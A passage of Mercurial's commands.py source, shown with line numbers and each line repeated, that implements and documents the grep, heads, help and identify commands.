3427 helpcategory=command.CATEGORY_FILE_CONTENTS,
3428 inferrepo=True,
3428 inferrepo=True,
3429 intents={INTENT_READONLY},
3429 intents={INTENT_READONLY},
3430 )
3430 )
3431 def grep(ui, repo, pattern, *pats, **opts):
3431 def grep(ui, repo, pattern, *pats, **opts):
3432 """search for a pattern in specified files
3432 """search for a pattern in specified files
3433
3433
3434 Search the working directory or revision history for a regular
3434 Search the working directory or revision history for a regular
3435 expression in the specified files for the entire repository.
3435 expression in the specified files for the entire repository.
3436
3436
3437 By default, grep searches the repository files in the working
3437 By default, grep searches the repository files in the working
3438 directory and prints the files where it finds a match. To specify
3438 directory and prints the files where it finds a match. To specify
3439 historical revisions instead of the working directory, use the
3439 historical revisions instead of the working directory, use the
3440 --rev flag.
3440 --rev flag.
3441
3441
3442 To search instead historical revision differences that contains a
3442 To search instead historical revision differences that contains a
3443 change in match status ("-" for a match that becomes a non-match,
3443 change in match status ("-" for a match that becomes a non-match,
3444 or "+" for a non-match that becomes a match), use the --diff flag.
3444 or "+" for a non-match that becomes a match), use the --diff flag.
3445
3445
3446 PATTERN can be any Python (roughly Perl-compatible) regular
3446 PATTERN can be any Python (roughly Perl-compatible) regular
3447 expression.
3447 expression.
3448
3448
3449 If no FILEs are specified and the --rev flag isn't supplied, all
3449 If no FILEs are specified and the --rev flag isn't supplied, all
3450 files in the working directory are searched. When using the --rev
3450 files in the working directory are searched. When using the --rev
3451 flag and specifying FILEs, use the --follow argument to also
3451 flag and specifying FILEs, use the --follow argument to also
3452 follow the specified FILEs across renames and copies.
3452 follow the specified FILEs across renames and copies.
3453
3453
3454 .. container:: verbose
3454 .. container:: verbose
3455
3455
3456 Template:
3456 Template:
3457
3457
3458 The following keywords are supported in addition to the common template
3458 The following keywords are supported in addition to the common template
3459 keywords and functions. See also :hg:`help templates`.
3459 keywords and functions. See also :hg:`help templates`.
3460
3460
3461 :change: String. Character denoting insertion ``+`` or removal ``-``.
3461 :change: String. Character denoting insertion ``+`` or removal ``-``.
3462 Available if ``--diff`` is specified.
3462 Available if ``--diff`` is specified.
3463 :lineno: Integer. Line number of the match.
3463 :lineno: Integer. Line number of the match.
3464 :path: String. Repository-absolute path of the file.
3464 :path: String. Repository-absolute path of the file.
3465 :texts: List of text chunks.
3465 :texts: List of text chunks.
3466
3466
3467 And each entry of ``{texts}`` provides the following sub-keywords.
3467 And each entry of ``{texts}`` provides the following sub-keywords.
3468
3468
3469 :matched: Boolean. True if the chunk matches the specified pattern.
3469 :matched: Boolean. True if the chunk matches the specified pattern.
3470 :text: String. Chunk content.
3470 :text: String. Chunk content.
3471
3471
3472 See :hg:`help templates.operators` for the list expansion syntax.
3472 See :hg:`help templates.operators` for the list expansion syntax.
3473
3473
3474 Returns 0 if a match is found, 1 otherwise.
3474 Returns 0 if a match is found, 1 otherwise.
3475
3475
3476 """
3476 """
3477 cmdutil.check_incompatible_arguments(opts, 'all_files', ['all', 'diff'])
3477 cmdutil.check_incompatible_arguments(opts, 'all_files', ['all', 'diff'])
3478 opts = pycompat.byteskwargs(opts)
3478 opts = pycompat.byteskwargs(opts)
3479 diff = opts.get(b'all') or opts.get(b'diff')
3479 diff = opts.get(b'all') or opts.get(b'diff')
3480 follow = opts.get(b'follow')
3480 follow = opts.get(b'follow')
3481 if opts.get(b'all_files') is None and not diff:
3481 if opts.get(b'all_files') is None and not diff:
3482 opts[b'all_files'] = True
3482 opts[b'all_files'] = True
3483 plaingrep = (
3483 plaingrep = (
3484 opts.get(b'all_files')
3484 opts.get(b'all_files')
3485 and not opts.get(b'rev')
3485 and not opts.get(b'rev')
3486 and not opts.get(b'follow')
3486 and not opts.get(b'follow')
3487 )
3487 )
3488 all_files = opts.get(b'all_files')
3488 all_files = opts.get(b'all_files')
3489 if plaingrep:
3489 if plaingrep:
3490 opts[b'rev'] = [b'wdir()']
3490 opts[b'rev'] = [b'wdir()']
3491
3491
3492 reflags = re.M
3492 reflags = re.M
3493 if opts.get(b'ignore_case'):
3493 if opts.get(b'ignore_case'):
3494 reflags |= re.I
3494 reflags |= re.I
3495 try:
3495 try:
3496 regexp = util.re.compile(pattern, reflags)
3496 regexp = util.re.compile(pattern, reflags)
3497 except re.error as inst:
3497 except re.error as inst:
3498 ui.warn(
3498 ui.warn(
3499 _(b"grep: invalid match pattern: %s\n")
3499 _(b"grep: invalid match pattern: %s\n")
3500 % stringutil.forcebytestr(inst)
3500 % stringutil.forcebytestr(inst)
3501 )
3501 )
3502 return 1
3502 return 1
3503 sep, eol = b':', b'\n'
3503 sep, eol = b':', b'\n'
3504 if opts.get(b'print0'):
3504 if opts.get(b'print0'):
3505 sep = eol = b'\0'
3505 sep = eol = b'\0'
3506
3506
3507 searcher = grepmod.grepsearcher(
3507 searcher = grepmod.grepsearcher(
3508 ui, repo, regexp, all_files=all_files, diff=diff, follow=follow
3508 ui, repo, regexp, all_files=all_files, diff=diff, follow=follow
3509 )
3509 )
3510
3510
3511 getfile = searcher._getfile
3511 getfile = searcher._getfile
3512
3512
3513 uipathfn = scmutil.getuipathfn(repo)
3513 uipathfn = scmutil.getuipathfn(repo)
3514
3514
3515 def display(fm, fn, ctx, pstates, states):
3515 def display(fm, fn, ctx, pstates, states):
3516 rev = scmutil.intrev(ctx)
3516 rev = scmutil.intrev(ctx)
3517 if fm.isplain():
3517 if fm.isplain():
3518 formatuser = ui.shortuser
3518 formatuser = ui.shortuser
3519 else:
3519 else:
3520 formatuser = pycompat.bytestr
3520 formatuser = pycompat.bytestr
3521 if ui.quiet:
3521 if ui.quiet:
3522 datefmt = b'%Y-%m-%d'
3522 datefmt = b'%Y-%m-%d'
3523 else:
3523 else:
3524 datefmt = b'%a %b %d %H:%M:%S %Y %1%2'
3524 datefmt = b'%a %b %d %H:%M:%S %Y %1%2'
3525 found = False
3525 found = False
3526
3526
3527 @util.cachefunc
3527 @util.cachefunc
3528 def binary():
3528 def binary():
3529 flog = getfile(fn)
3529 flog = getfile(fn)
3530 try:
3530 try:
3531 return stringutil.binary(flog.read(ctx.filenode(fn)))
3531 return stringutil.binary(flog.read(ctx.filenode(fn)))
3532 except error.WdirUnsupported:
3532 except error.WdirUnsupported:
3533 return ctx[fn].isbinary()
3533 return ctx[fn].isbinary()
3534
3534
3535 fieldnamemap = {b'linenumber': b'lineno'}
3535 fieldnamemap = {b'linenumber': b'lineno'}
3536 if diff:
3536 if diff:
3537 iter = grepmod.difflinestates(pstates, states)
3537 iter = grepmod.difflinestates(pstates, states)
3538 else:
3538 else:
3539 iter = [(b'', l) for l in states]
3539 iter = [(b'', l) for l in states]
3540 for change, l in iter:
3540 for change, l in iter:
3541 fm.startitem()
3541 fm.startitem()
3542 fm.context(ctx=ctx)
3542 fm.context(ctx=ctx)
3543 fm.data(node=fm.hexfunc(scmutil.binnode(ctx)), path=fn)
3543 fm.data(node=fm.hexfunc(scmutil.binnode(ctx)), path=fn)
3544 fm.plain(uipathfn(fn), label=b'grep.filename')
3544 fm.plain(uipathfn(fn), label=b'grep.filename')
3545
3545
3546 cols = [
3546 cols = [
3547 (b'rev', b'%d', rev, not plaingrep, b''),
3547 (b'rev', b'%d', rev, not plaingrep, b''),
3548 (
3548 (
3549 b'linenumber',
3549 b'linenumber',
3550 b'%d',
3550 b'%d',
3551 l.linenum,
3551 l.linenum,
3552 opts.get(b'line_number'),
3552 opts.get(b'line_number'),
3553 b'',
3553 b'',
3554 ),
3554 ),
3555 ]
3555 ]
3556 if diff:
3556 if diff:
3557 cols.append(
3557 cols.append(
3558 (
3558 (
3559 b'change',
3559 b'change',
3560 b'%s',
3560 b'%s',
3561 change,
3561 change,
3562 True,
3562 True,
3563 b'grep.inserted '
3563 b'grep.inserted '
3564 if change == b'+'
3564 if change == b'+'
3565 else b'grep.deleted ',
3565 else b'grep.deleted ',
3566 )
3566 )
3567 )
3567 )
3568 cols.extend(
3568 cols.extend(
3569 [
3569 [
3570 (
3570 (
3571 b'user',
3571 b'user',
3572 b'%s',
3572 b'%s',
3573 formatuser(ctx.user()),
3573 formatuser(ctx.user()),
3574 opts.get(b'user'),
3574 opts.get(b'user'),
3575 b'',
3575 b'',
3576 ),
3576 ),
3577 (
3577 (
3578 b'date',
3578 b'date',
3579 b'%s',
3579 b'%s',
3580 fm.formatdate(ctx.date(), datefmt),
3580 fm.formatdate(ctx.date(), datefmt),
3581 opts.get(b'date'),
3581 opts.get(b'date'),
3582 b'',
3582 b'',
3583 ),
3583 ),
3584 ]
3584 ]
3585 )
3585 )
3586 for name, fmt, data, cond, extra_label in cols:
3586 for name, fmt, data, cond, extra_label in cols:
3587 if cond:
3587 if cond:
3588 fm.plain(sep, label=b'grep.sep')
3588 fm.plain(sep, label=b'grep.sep')
3589 field = fieldnamemap.get(name, name)
3589 field = fieldnamemap.get(name, name)
3590 label = extra_label + (b'grep.%s' % name)
3590 label = extra_label + (b'grep.%s' % name)
3591 fm.condwrite(cond, field, fmt, data, label=label)
3591 fm.condwrite(cond, field, fmt, data, label=label)
3592 if not opts.get(b'files_with_matches'):
3592 if not opts.get(b'files_with_matches'):
3593 fm.plain(sep, label=b'grep.sep')
3593 fm.plain(sep, label=b'grep.sep')
3594 if not opts.get(b'text') and binary():
3594 if not opts.get(b'text') and binary():
3595 fm.plain(_(b" Binary file matches"))
3595 fm.plain(_(b" Binary file matches"))
3596 else:
3596 else:
3597 displaymatches(fm.nested(b'texts', tmpl=b'{text}'), l)
3597 displaymatches(fm.nested(b'texts', tmpl=b'{text}'), l)
3598 fm.plain(eol)
3598 fm.plain(eol)
3599 found = True
3599 found = True
3600 if opts.get(b'files_with_matches'):
3600 if opts.get(b'files_with_matches'):
3601 break
3601 break
3602 return found
3602 return found
3603
3603
3604 def displaymatches(fm, l):
3604 def displaymatches(fm, l):
3605 p = 0
3605 p = 0
3606 for s, e in l.findpos(regexp):
3606 for s, e in l.findpos(regexp):
3607 if p < s:
3607 if p < s:
3608 fm.startitem()
3608 fm.startitem()
3609 fm.write(b'text', b'%s', l.line[p:s])
3609 fm.write(b'text', b'%s', l.line[p:s])
3610 fm.data(matched=False)
3610 fm.data(matched=False)
3611 fm.startitem()
3611 fm.startitem()
3612 fm.write(b'text', b'%s', l.line[s:e], label=b'grep.match')
3612 fm.write(b'text', b'%s', l.line[s:e], label=b'grep.match')
3613 fm.data(matched=True)
3613 fm.data(matched=True)
3614 p = e
3614 p = e
3615 if p < len(l.line):
3615 if p < len(l.line):
3616 fm.startitem()
3616 fm.startitem()
3617 fm.write(b'text', b'%s', l.line[p:])
3617 fm.write(b'text', b'%s', l.line[p:])
3618 fm.data(matched=False)
3618 fm.data(matched=False)
3619 fm.end()
3619 fm.end()
3620
3620
3621 found = False
3621 found = False
3622
3622
3623 wopts = logcmdutil.walkopts(
3623 wopts = logcmdutil.walkopts(
3624 pats=pats,
3624 pats=pats,
3625 opts=opts,
3625 opts=opts,
3626 revspec=opts[b'rev'],
3626 revspec=opts[b'rev'],
3627 include_pats=opts[b'include'],
3627 include_pats=opts[b'include'],
3628 exclude_pats=opts[b'exclude'],
3628 exclude_pats=opts[b'exclude'],
3629 follow=follow,
3629 follow=follow,
3630 force_changelog_traversal=all_files,
3630 force_changelog_traversal=all_files,
3631 filter_revisions_by_pats=not all_files,
3631 filter_revisions_by_pats=not all_files,
3632 )
3632 )
3633 revs, makefilematcher = logcmdutil.makewalker(repo, wopts)
3633 revs, makefilematcher = logcmdutil.makewalker(repo, wopts)
3634
3634
3635 ui.pager(b'grep')
3635 ui.pager(b'grep')
3636 fm = ui.formatter(b'grep', opts)
3636 fm = ui.formatter(b'grep', opts)
3637 for fn, ctx, pstates, states in searcher.searchfiles(revs, makefilematcher):
3637 for fn, ctx, pstates, states in searcher.searchfiles(revs, makefilematcher):
3638 r = display(fm, fn, ctx, pstates, states)
3638 r = display(fm, fn, ctx, pstates, states)
3639 found = found or r
3639 found = found or r
3640 if r and not diff and not all_files:
3640 if r and not diff and not all_files:
3641 searcher.skipfile(fn, ctx.rev())
3641 searcher.skipfile(fn, ctx.rev())
3642 fm.end()
3642 fm.end()
3643
3643
3644 return not found
3644 return not found
3645
3645
3646
3646
3647 @command(
3647 @command(
3648 b'heads',
3648 b'heads',
3649 [
3649 [
3650 (
3650 (
3651 b'r',
3651 b'r',
3652 b'rev',
3652 b'rev',
3653 b'',
3653 b'',
3654 _(b'show only heads which are descendants of STARTREV'),
3654 _(b'show only heads which are descendants of STARTREV'),
3655 _(b'STARTREV'),
3655 _(b'STARTREV'),
3656 ),
3656 ),
3657 (b't', b'topo', False, _(b'show topological heads only')),
3657 (b't', b'topo', False, _(b'show topological heads only')),
3658 (
3658 (
3659 b'a',
3659 b'a',
3660 b'active',
3660 b'active',
3661 False,
3661 False,
3662 _(b'show active branchheads only (DEPRECATED)'),
3662 _(b'show active branchheads only (DEPRECATED)'),
3663 ),
3663 ),
3664 (b'c', b'closed', False, _(b'show normal and closed branch heads')),
3664 (b'c', b'closed', False, _(b'show normal and closed branch heads')),
3665 ]
3665 ]
3666 + templateopts,
3666 + templateopts,
3667 _(b'[-ct] [-r STARTREV] [REV]...'),
3667 _(b'[-ct] [-r STARTREV] [REV]...'),
3668 helpcategory=command.CATEGORY_CHANGE_NAVIGATION,
3668 helpcategory=command.CATEGORY_CHANGE_NAVIGATION,
3669 intents={INTENT_READONLY},
3669 intents={INTENT_READONLY},
3670 )
3670 )
3671 def heads(ui, repo, *branchrevs, **opts):
3671 def heads(ui, repo, *branchrevs, **opts):
3672 """show branch heads
3672 """show branch heads
3673
3673
3674 With no arguments, show all open branch heads in the repository.
3674 With no arguments, show all open branch heads in the repository.
3675 Branch heads are changesets that have no descendants on the
3675 Branch heads are changesets that have no descendants on the
3676 same branch. They are where development generally takes place and
3676 same branch. They are where development generally takes place and
3677 are the usual targets for update and merge operations.
3677 are the usual targets for update and merge operations.
3678
3678
3679 If one or more REVs are given, only open branch heads on the
3679 If one or more REVs are given, only open branch heads on the
3680 branches associated with the specified changesets are shown. This
3680 branches associated with the specified changesets are shown. This
3681 means that you can use :hg:`heads .` to see the heads on the
3681 means that you can use :hg:`heads .` to see the heads on the
3682 currently checked-out branch.
3682 currently checked-out branch.
3683
3683
3684 If -c/--closed is specified, also show branch heads marked closed
3684 If -c/--closed is specified, also show branch heads marked closed
3685 (see :hg:`commit --close-branch`).
3685 (see :hg:`commit --close-branch`).
3686
3686
3687 If STARTREV is specified, only those heads that are descendants of
3687 If STARTREV is specified, only those heads that are descendants of
3688 STARTREV will be displayed.
3688 STARTREV will be displayed.
3689
3689
3690 If -t/--topo is specified, named branch mechanics will be ignored and only
3690 If -t/--topo is specified, named branch mechanics will be ignored and only
3691 topological heads (changesets with no children) will be shown.
3691 topological heads (changesets with no children) will be shown.
3692
3692
3693 Returns 0 if matching heads are found, 1 if not.
3693 Returns 0 if matching heads are found, 1 if not.
3694 """
3694 """
3695
3695
3696 opts = pycompat.byteskwargs(opts)
3696 opts = pycompat.byteskwargs(opts)
3697 start = None
3697 start = None
3698 rev = opts.get(b'rev')
3698 rev = opts.get(b'rev')
3699 if rev:
3699 if rev:
3700 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
3700 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
3701 start = logcmdutil.revsingle(repo, rev, None).node()
3701 start = logcmdutil.revsingle(repo, rev, None).node()
3702
3702
3703 if opts.get(b'topo'):
3703 if opts.get(b'topo'):
3704 heads = [repo[h] for h in repo.heads(start)]
3704 heads = [repo[h] for h in repo.heads(start)]
3705 else:
3705 else:
3706 heads = []
3706 heads = []
3707 for branch in repo.branchmap():
3707 for branch in repo.branchmap():
3708 heads += repo.branchheads(branch, start, opts.get(b'closed'))
3708 heads += repo.branchheads(branch, start, opts.get(b'closed'))
3709 heads = [repo[h] for h in heads]
3709 heads = [repo[h] for h in heads]
3710
3710
3711 if branchrevs:
3711 if branchrevs:
3712 branches = {
3712 branches = {
3713 repo[r].branch() for r in logcmdutil.revrange(repo, branchrevs)
3713 repo[r].branch() for r in logcmdutil.revrange(repo, branchrevs)
3714 }
3714 }
3715 heads = [h for h in heads if h.branch() in branches]
3715 heads = [h for h in heads if h.branch() in branches]
3716
3716
3717 if opts.get(b'active') and branchrevs:
3717 if opts.get(b'active') and branchrevs:
3718 dagheads = repo.heads(start)
3718 dagheads = repo.heads(start)
3719 heads = [h for h in heads if h.node() in dagheads]
3719 heads = [h for h in heads if h.node() in dagheads]
3720
3720
3721 if branchrevs:
3721 if branchrevs:
3722 haveheads = {h.branch() for h in heads}
3722 haveheads = {h.branch() for h in heads}
3723 if branches - haveheads:
3723 if branches - haveheads:
3724 headless = b', '.join(b for b in branches - haveheads)
3724 headless = b', '.join(b for b in branches - haveheads)
3725 msg = _(b'no open branch heads found on branches %s')
3725 msg = _(b'no open branch heads found on branches %s')
3726 if opts.get(b'rev'):
3726 if opts.get(b'rev'):
3727 msg += _(b' (started at %s)') % opts[b'rev']
3727 msg += _(b' (started at %s)') % opts[b'rev']
3728 ui.warn((msg + b'\n') % headless)
3728 ui.warn((msg + b'\n') % headless)
3729
3729
3730 if not heads:
3730 if not heads:
3731 return 1
3731 return 1
3732
3732
3733 ui.pager(b'heads')
3733 ui.pager(b'heads')
3734 heads = sorted(heads, key=lambda x: -(x.rev()))
3734 heads = sorted(heads, key=lambda x: -(x.rev()))
3735 displayer = logcmdutil.changesetdisplayer(ui, repo, opts)
3735 displayer = logcmdutil.changesetdisplayer(ui, repo, opts)
3736 for ctx in heads:
3736 for ctx in heads:
3737 displayer.show(ctx)
3737 displayer.show(ctx)
3738 displayer.close()
3738 displayer.close()
3739
3739
3740
3740
3741 @command(
3741 @command(
3742 b'help',
3742 b'help',
3743 [
3743 [
3744 (b'e', b'extension', None, _(b'show only help for extensions')),
3744 (b'e', b'extension', None, _(b'show only help for extensions')),
3745 (b'c', b'command', None, _(b'show only help for commands')),
3745 (b'c', b'command', None, _(b'show only help for commands')),
3746 (b'k', b'keyword', None, _(b'show topics matching keyword')),
3746 (b'k', b'keyword', None, _(b'show topics matching keyword')),
3747 (
3747 (
3748 b's',
3748 b's',
3749 b'system',
3749 b'system',
3750 [],
3750 [],
3751 _(b'show help for specific platform(s)'),
3751 _(b'show help for specific platform(s)'),
3752 _(b'PLATFORM'),
3752 _(b'PLATFORM'),
3753 ),
3753 ),
3754 ],
3754 ],
3755 _(b'[-eck] [-s PLATFORM] [TOPIC]'),
3755 _(b'[-eck] [-s PLATFORM] [TOPIC]'),
3756 helpcategory=command.CATEGORY_HELP,
3756 helpcategory=command.CATEGORY_HELP,
3757 norepo=True,
3757 norepo=True,
3758 intents={INTENT_READONLY},
3758 intents={INTENT_READONLY},
3759 )
3759 )
3760 def help_(ui, name=None, **opts):
3760 def help_(ui, name=None, **opts):
3761 """show help for a given topic or a help overview
3761 """show help for a given topic or a help overview
3762
3762
3763 With no arguments, print a list of commands with short help messages.
3763 With no arguments, print a list of commands with short help messages.
3764
3764
3765 Given a topic, extension, or command name, print help for that
3765 Given a topic, extension, or command name, print help for that
3766 topic.
3766 topic.
3767
3767
3768 Returns 0 if successful.
3768 Returns 0 if successful.
3769 """
3769 """
3770
3770
3771 keep = opts.get('system') or []
3771 keep = opts.get('system') or []
3772 if len(keep) == 0:
3772 if len(keep) == 0:
3773 if pycompat.sysplatform.startswith(b'win'):
3773 if pycompat.sysplatform.startswith(b'win'):
3774 keep.append(b'windows')
3774 keep.append(b'windows')
3775 elif pycompat.sysplatform == b'OpenVMS':
3775 elif pycompat.sysplatform == b'OpenVMS':
3776 keep.append(b'vms')
3776 keep.append(b'vms')
3777 elif pycompat.sysplatform == b'plan9':
3777 elif pycompat.sysplatform == b'plan9':
3778 keep.append(b'plan9')
3778 keep.append(b'plan9')
3779 else:
3779 else:
3780 keep.append(b'unix')
3780 keep.append(b'unix')
3781 keep.append(pycompat.sysplatform.lower())
3781 keep.append(pycompat.sysplatform.lower())
3782 if ui.verbose:
3782 if ui.verbose:
3783 keep.append(b'verbose')
3783 keep.append(b'verbose')
3784
3784
3785 commands = sys.modules[__name__]
3785 commands = sys.modules[__name__]
3786 formatted = help.formattedhelp(ui, commands, name, keep=keep, **opts)
3786 formatted = help.formattedhelp(ui, commands, name, keep=keep, **opts)
3787 ui.pager(b'help')
3787 ui.pager(b'help')
3788 ui.write(formatted)
3788 ui.write(formatted)
3789
3789
3790
3790
3791 @command(
3791 @command(
3792 b'identify|id',
3792 b'identify|id',
3793 [
3793 [
3794 (b'r', b'rev', b'', _(b'identify the specified revision'), _(b'REV')),
3794 (b'r', b'rev', b'', _(b'identify the specified revision'), _(b'REV')),
3795 (b'n', b'num', None, _(b'show local revision number')),
3795 (b'n', b'num', None, _(b'show local revision number')),
3796 (b'i', b'id', None, _(b'show global revision id')),
3796 (b'i', b'id', None, _(b'show global revision id')),
3797 (b'b', b'branch', None, _(b'show branch')),
3797 (b'b', b'branch', None, _(b'show branch')),
3798 (b't', b'tags', None, _(b'show tags')),
3798 (b't', b'tags', None, _(b'show tags')),
3799 (b'B', b'bookmarks', None, _(b'show bookmarks')),
3799 (b'B', b'bookmarks', None, _(b'show bookmarks')),
3800 ]
3800 ]
3801 + remoteopts
3801 + remoteopts
3802 + formatteropts,
3802 + formatteropts,
3803 _(b'[-nibtB] [-r REV] [SOURCE]'),
3803 _(b'[-nibtB] [-r REV] [SOURCE]'),
3804 helpcategory=command.CATEGORY_CHANGE_NAVIGATION,
3804 helpcategory=command.CATEGORY_CHANGE_NAVIGATION,
3805 optionalrepo=True,
3805 optionalrepo=True,
3806 intents={INTENT_READONLY},
3806 intents={INTENT_READONLY},
3807 )
3807 )
3808 def identify(
3808 def identify(
3809 ui,
3809 ui,
3810 repo,
3810 repo,
3811 source=None,
3811 source=None,
3812 rev=None,
3812 rev=None,
3813 num=None,
3813 num=None,
3814 id=None,
3814 id=None,
3815 branch=None,
3815 branch=None,
3816 tags=None,
3816 tags=None,
3817 bookmarks=None,
3817 bookmarks=None,
3818 **opts
3818 **opts
3819 ):
3819 ):
3820 """identify the working directory or specified revision
3820 """identify the working directory or specified revision
3821
3821
3822 Print a summary identifying the repository state at REV using one or
3822 Print a summary identifying the repository state at REV using one or
3823 two parent hash identifiers, followed by a "+" if the working
3823 two parent hash identifiers, followed by a "+" if the working
3824 directory has uncommitted changes, the branch name (if not default),
3824 directory has uncommitted changes, the branch name (if not default),
3825 a list of tags, and a list of bookmarks.
3825 a list of tags, and a list of bookmarks.
3826
3826
3827 When REV is not given, print a summary of the current state of the
3827 When REV is not given, print a summary of the current state of the
3828 repository including the working directory. Specify -r. to get information
3828 repository including the working directory. Specify -r. to get information
3829 of the working directory parent without scanning uncommitted changes.
3829 of the working directory parent without scanning uncommitted changes.
3830
3830
3831 Specifying a path to a repository root or Mercurial bundle will
3831 Specifying a path to a repository root or Mercurial bundle will
3832 cause lookup to operate on that repository/bundle.
3832 cause lookup to operate on that repository/bundle.
3833
3833
3834 .. container:: verbose
3834 .. container:: verbose
3835
3835
3836 Template:
3836 Template:
3837
3837
3838 The following keywords are supported in addition to the common template
3838 The following keywords are supported in addition to the common template
3839 keywords and functions. See also :hg:`help templates`.
3839 keywords and functions. See also :hg:`help templates`.
3840
3840
3841 :dirty: String. Character ``+`` denoting if the working directory has
3841 :dirty: String. Character ``+`` denoting if the working directory has
3842 uncommitted changes.
3842 uncommitted changes.
3843 :id: String. One or two nodes, optionally followed by ``+``.
3843 :id: String. One or two nodes, optionally followed by ``+``.
3844 :parents: List of strings. Parent nodes of the changeset.
3844 :parents: List of strings. Parent nodes of the changeset.
3845
3845
3846 Examples:
3846 Examples:
3847
3847
3848 - generate a build identifier for the working directory::
3848 - generate a build identifier for the working directory::
3849
3849
3850 hg id --id > build-id.dat
3850 hg id --id > build-id.dat
3851
3851
3852 - find the revision corresponding to a tag::
3852 - find the revision corresponding to a tag::
3853
3853
3854 hg id -n -r 1.3
3854 hg id -n -r 1.3
3855
3855
3856 - check the most recent revision of a remote repository::
3856 - check the most recent revision of a remote repository::
3857
3857
3858 hg id -r tip https://www.mercurial-scm.org/repo/hg/
3858 hg id -r tip https://www.mercurial-scm.org/repo/hg/
3859
3859
3860 See :hg:`log` for generating more information about specific revisions,
3860 See :hg:`log` for generating more information about specific revisions,
3861 including full hash identifiers.
3861 including full hash identifiers.
3862
3862
3863 Returns 0 if successful.
3863 Returns 0 if successful.
3864 """
3864 """
3865
3865
3866 opts = pycompat.byteskwargs(opts)
3866 opts = pycompat.byteskwargs(opts)
3867 if not repo and not source:
3867 if not repo and not source:
3868 raise error.InputError(
3868 raise error.InputError(
3869 _(b"there is no Mercurial repository here (.hg not found)")
3869 _(b"there is no Mercurial repository here (.hg not found)")
3870 )
3870 )
3871
3871
3872 default = not (num or id or branch or tags or bookmarks)
3872 default = not (num or id or branch or tags or bookmarks)
3873 output = []
3873 output = []
3874 revs = []
3874 revs = []
3875
3875
3876 peer = None
3876 peer = None
3877 try:
3877 try:
3878 if source:
3878 if source:
3879 source, branches = urlutil.get_unique_pull_path(
3879 source, branches = urlutil.get_unique_pull_path(
3880 b'identify', repo, ui, source
3880 b'identify', repo, ui, source
3881 )
3881 )
3882 # only pass ui when no repo
3882 # only pass ui when no repo
3883 peer = hg.peer(repo or ui, opts, source)
3883 peer = hg.peer(repo or ui, opts, source)
3884 repo = peer.local()
3884 repo = peer.local()
3885 revs, checkout = hg.addbranchrevs(repo, peer, branches, None)
3885 revs, checkout = hg.addbranchrevs(repo, peer, branches, None)
3886
3886
3887 fm = ui.formatter(b'identify', opts)
3887 fm = ui.formatter(b'identify', opts)
3888 fm.startitem()
3888 fm.startitem()
3889
3889
3890 if not repo:
3890 if not repo:
3891 if num or branch or tags:
3891 if num or branch or tags:
3892 raise error.InputError(
3892 raise error.InputError(
3893 _(b"can't query remote revision number, branch, or tags")
3893 _(b"can't query remote revision number, branch, or tags")
3894 )
3894 )
3895 if not rev and revs:
3895 if not rev and revs:
3896 rev = revs[0]
3896 rev = revs[0]
3897 if not rev:
3897 if not rev:
3898 rev = b"tip"
3898 rev = b"tip"
3899
3899
3900 remoterev = peer.lookup(rev)
3900 remoterev = peer.lookup(rev)
3901 hexrev = fm.hexfunc(remoterev)
3901 hexrev = fm.hexfunc(remoterev)
3902 if default or id:
3902 if default or id:
3903 output = [hexrev]
3903 output = [hexrev]
3904 fm.data(id=hexrev)
3904 fm.data(id=hexrev)
3905
3905
3906 @util.cachefunc
3906 @util.cachefunc
3907 def getbms():
3907 def getbms():
3908 bms = []
3908 bms = []
3909
3909
3910 if b'bookmarks' in peer.listkeys(b'namespaces'):
3910 if b'bookmarks' in peer.listkeys(b'namespaces'):
3911 hexremoterev = hex(remoterev)
3911 hexremoterev = hex(remoterev)
3912 bms = [
3912 bms = [
3913 bm
3913 bm
3914 for bm, bmr in pycompat.iteritems(
3914 for bm, bmr in pycompat.iteritems(
3915 peer.listkeys(b'bookmarks')
3915 peer.listkeys(b'bookmarks')
3916 )
3916 )
3917 if bmr == hexremoterev
3917 if bmr == hexremoterev
3918 ]
3918 ]
3919
3919
3920 return sorted(bms)
3920 return sorted(bms)
3921
3921
3922 if fm.isplain():
3922 if fm.isplain():
3923 if bookmarks:
3923 if bookmarks:
3924 output.extend(getbms())
3924 output.extend(getbms())
3925 elif default and not ui.quiet:
3925 elif default and not ui.quiet:
3926 # multiple bookmarks for a single parent separated by '/'
3926 # multiple bookmarks for a single parent separated by '/'
3927 bm = b'/'.join(getbms())
3927 bm = b'/'.join(getbms())
3928 if bm:
3928 if bm:
3929 output.append(bm)
3929 output.append(bm)
3930 else:
3930 else:
3931 fm.data(node=hex(remoterev))
3931 fm.data(node=hex(remoterev))
3932 if bookmarks or b'bookmarks' in fm.datahint():
3932 if bookmarks or b'bookmarks' in fm.datahint():
3933 fm.data(bookmarks=fm.formatlist(getbms(), name=b'bookmark'))
3933 fm.data(bookmarks=fm.formatlist(getbms(), name=b'bookmark'))
3934 else:
3934 else:
3935 if rev:
3935 if rev:
3936 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
3936 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
3937 ctx = logcmdutil.revsingle(repo, rev, None)
3937 ctx = logcmdutil.revsingle(repo, rev, None)
3938
3938
3939 if ctx.rev() is None:
3939 if ctx.rev() is None:
3940 ctx = repo[None]
3940 ctx = repo[None]
3941 parents = ctx.parents()
3941 parents = ctx.parents()
3942 taglist = []
3942 taglist = []
3943 for p in parents:
3943 for p in parents:
3944 taglist.extend(p.tags())
3944 taglist.extend(p.tags())
3945
3945
3946 dirty = b""
3946 dirty = b""
3947 if ctx.dirty(missing=True, merge=False, branch=False):
3947 if ctx.dirty(missing=True, merge=False, branch=False):
3948 dirty = b'+'
3948 dirty = b'+'
3949 fm.data(dirty=dirty)
3949 fm.data(dirty=dirty)
3950
3950
3951 hexoutput = [fm.hexfunc(p.node()) for p in parents]
3951 hexoutput = [fm.hexfunc(p.node()) for p in parents]
3952 if default or id:
3952 if default or id:
3953 output = [b"%s%s" % (b'+'.join(hexoutput), dirty)]
3953 output = [b"%s%s" % (b'+'.join(hexoutput), dirty)]
3954 fm.data(id=b"%s%s" % (b'+'.join(hexoutput), dirty))
3954 fm.data(id=b"%s%s" % (b'+'.join(hexoutput), dirty))
3955
3955
3956 if num:
3956 if num:
3957 numoutput = [b"%d" % p.rev() for p in parents]
3957 numoutput = [b"%d" % p.rev() for p in parents]
3958 output.append(b"%s%s" % (b'+'.join(numoutput), dirty))
3958 output.append(b"%s%s" % (b'+'.join(numoutput), dirty))
3959
3959
3960 fm.data(
3960 fm.data(
3961 parents=fm.formatlist(
3961 parents=fm.formatlist(
